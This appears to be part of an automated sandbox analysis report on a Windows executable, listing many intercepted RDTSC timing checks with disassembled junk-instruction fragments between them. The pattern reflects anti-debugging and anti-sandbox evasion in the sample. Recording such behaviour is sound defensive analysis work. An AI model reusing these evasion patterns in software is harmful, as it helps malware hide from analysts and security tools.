Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07B91 second address: E07B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07B97 second address: E07B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1285C second address: E12867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9CAD0B62C6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12B58 second address: E12B5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12B5C second address: E12B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12F73 second address: E12F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9CAD0B9FC6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12F82 second address: E12F86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12F86 second address: E12F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12F8C second address: E12F96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F9CAD0B62C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12F96 second address: E12FBD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c jmp 00007F9CAD0B9FD3h 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13520 second address: E1352C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9CAD0B62C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1352C second address: E13537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13537 second address: E1356D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9CAD0B62CFh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9CAD0B62CFh 0x00000017 jne 00007F9CAD0B62C6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1356D second address: E13571 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13571 second address: E13589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CAD0B62D2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13C93 second address: E13C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13C99 second address: E13CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CAD0B62D4h 0x00000009 popad 0x0000000a jmp 00007F9CAD0B62D1h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9CAD0B62D6h 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13CDE second address: E13CEC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9CAD0B9FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13CEC second address: E13CF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13CF0 second address: E13D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9CAD0B9FCDh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13D07 second address: E13D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E143F0 second address: E14412 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9CAD0B9FD9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E14412 second address: E14426 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CCh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E14426 second address: E1442A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12338 second address: E1233C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1233C second address: E12346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A583 second address: E1A589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A589 second address: E1A58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A58D second address: E1A591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A591 second address: E1A5C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F9CAD0B9FCEh 0x0000000e push edx 0x0000000f jmp 00007F9CAD0B9FD9h 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E4AB second address: E1E4B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E4B1 second address: E1E4B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E4B5 second address: E1E4E8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F9CAD0B62D2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F9CAD0B62D1h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E4E8 second address: E1E4EE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E4EE second address: E1E4F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E4F6 second address: E1E502 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E502 second address: E1E50C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9CAD0B62C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1DEC8 second address: E1DED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1DED6 second address: E1DEE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007F9CAD0B62C6h 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E20906 second address: E20910 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9CAD0B9FC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D606C9 second address: D606D3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9CAD0B62C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2BE3D second address: E2BE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2BE45 second address: E2BE4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2FF6A second address: E2FF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40591 second address: E40598 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4365B second address: E4365F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4365F second address: E43689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9CAD0B62CFh 0x0000000d jmp 00007F9CAD0B62D3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E43689 second address: E4368D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46E70 second address: E46E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D65665 second address: D6566F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9CAD0B9FCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C363 second address: E4C368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C368 second address: E4C36E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C36E second address: E4C374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C613 second address: E4C651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9CAD0B9FCCh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9CAD0B9FD2h 0x00000015 jmp 00007F9CAD0B9FD5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C7EF second address: E4C7FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F9CAD0B62C6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C963 second address: E4C967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E529D1 second address: E529D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E529D7 second address: E529E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jns 00007F9CAD0B9FC6h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E529E6 second address: E52A0C instructions: 0x00000000 rdtsc 0x00000002 je 00007F9CAD0B62DDh 0x00000008 jmp 00007F9CAD0B62D7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E52A0C second address: E52A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E52A11 second address: E52A22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CCh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E525B8 second address: E525C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F9CAD0B9FD2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E525C8 second address: E525D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9CAD0B62C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E525D2 second address: E525EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F9CAD0B9FD4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E525EB second address: E525F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CD76 second address: E6CD82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F9CAD0B9FC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CD82 second address: E6CD86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CD86 second address: E6CD8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CD8F second address: E6CD95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E64C second address: E6E650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E650 second address: E6E665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9CAD0B62C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d ja 00007F9CAD0B62C6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E665 second address: E6E67A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F9CAD0B9FCBh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E67A second address: E6E69A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9CAD0B62D5h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E69A second address: E6E6D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jo 00007F9CAD0B9FC6h 0x00000013 jmp 00007F9CAD0B9FD6h 0x00000018 pushad 0x00000019 popad 0x0000001a push edx 0x0000001b pop edx 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E6D5 second address: E6E6D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E6D9 second address: E6E6E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FCCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E850AE second address: E850D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push edx 0x00000008 jmp 00007F9CAD0B62D8h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E850D1 second address: E850D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8553C second address: E85542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8597B second address: E85981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85981 second address: E85992 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jo 00007F9CAD0B62C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85AC5 second address: E85ACB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85ACB second address: E85AD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85AD1 second address: E85AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CAD0B9FD8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85AED second address: E85B11 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9CAD0B62C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jns 00007F9CAD0B62C6h 0x00000011 pop ebx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F9CAD0B62CAh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85B11 second address: E85B17 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85DAA second address: E85DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85DAE second address: E85DB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85DB2 second address: E85DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9CAD0B62D5h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F9CAD0B62CAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85DDA second address: E85DE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F9CAD0B9FC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85DE6 second address: E85DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85DEA second address: E85E0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89FEA second address: E8A007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jmp 00007F9CAD0B62D1h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A083 second address: E8A09E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A09E second address: E8A0A8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9CAD0B62C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A318 second address: E8A377 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9CAD0B9FC8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d cmc 0x0000000e push 00000004h 0x00000010 call 00007F9CAD0B9FD2h 0x00000015 mov dh, CEh 0x00000017 pop edx 0x00000018 call 00007F9CAD0B9FC9h 0x0000001d jmp 00007F9CAD0B9FCBh 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jmp 00007F9CAD0B9FCAh 0x0000002b jmp 00007F9CAD0B9FD7h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A377 second address: E8A3A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jbe 00007F9CAD0B62D4h 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 push ebx 0x00000016 push eax 0x00000017 pop eax 0x00000018 pop ebx 0x00000019 jo 00007F9CAD0B62CCh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A3A6 second address: E8A3B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
